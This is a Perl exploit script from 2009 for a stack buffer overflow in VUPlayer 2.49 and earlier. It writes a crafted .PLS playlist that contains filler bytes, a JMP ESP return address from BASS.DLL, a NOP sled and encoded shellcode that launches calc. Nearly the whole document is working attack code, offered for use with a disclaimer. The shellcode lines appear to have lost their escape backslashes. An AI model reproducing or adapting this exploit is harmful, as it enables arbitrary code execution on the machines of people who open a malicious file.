vuplayer249-overflow.txt
Posted on 07 January 2009
#!/usr/bin/perl # VUPlayer <= 2.49 .PLS Universal Buffer Overflow Exploit # ------------------------------------------------------- # Discovered & Exploit by SkD (skdrat@hotmail.com) & # (skd@abysssec.com) # ------------------------------------------------------- # This is a pretty cool player considering it is # freeware. You may download VUPlayer at the affected # vendors homepage: # http://www.vuplayer.com # # With the recent resurgence of buffer overflows in # in media players, I thought I'd join in the fun ;). # The exploit is pretty much straight forward and it's # also universal so 2x the fun (tested on Win2k and # Vista). # # Enjoy. # # Shouts go to InTeL, shahin & rest of Abysssec, suN8Hclf # and most importantly KkD. # # Note: Author has no responsibility over the damage you do # with this! # _________ ___ ________ # / _____/| | __\______ \n# \_____ | |/ / | | \n# / | < | ` \n# /_______ /|__|_ /_______ / # / / / use strict; use warnings; # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com my $shellcode = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49". "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36". "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34". "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41". "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44". "x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47". "x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38". "x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48". "x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c". "x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e". "x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58". "x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44". "x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38". "x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33". "x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47". "x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a". "x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b". "x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53". "x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57". "x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39". "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46". "x4ex46x43x36x42x50x5a"; my $overflow = "x41" x 1005; my $eip = "xc5x22x02x10"; #0x100222C5 JMP ESP BASS.DLL -> Universal Address my $nopsled = "x90" x 24; open(my $pls_playlist, "> s.pls"); print $pls_playlist "[playlist] ". "NumberOfEntries=1 ". "File1=http://". $overflow.$eip.$nopsled.$shellcode.$overflow. " "; close $pls_playlist;
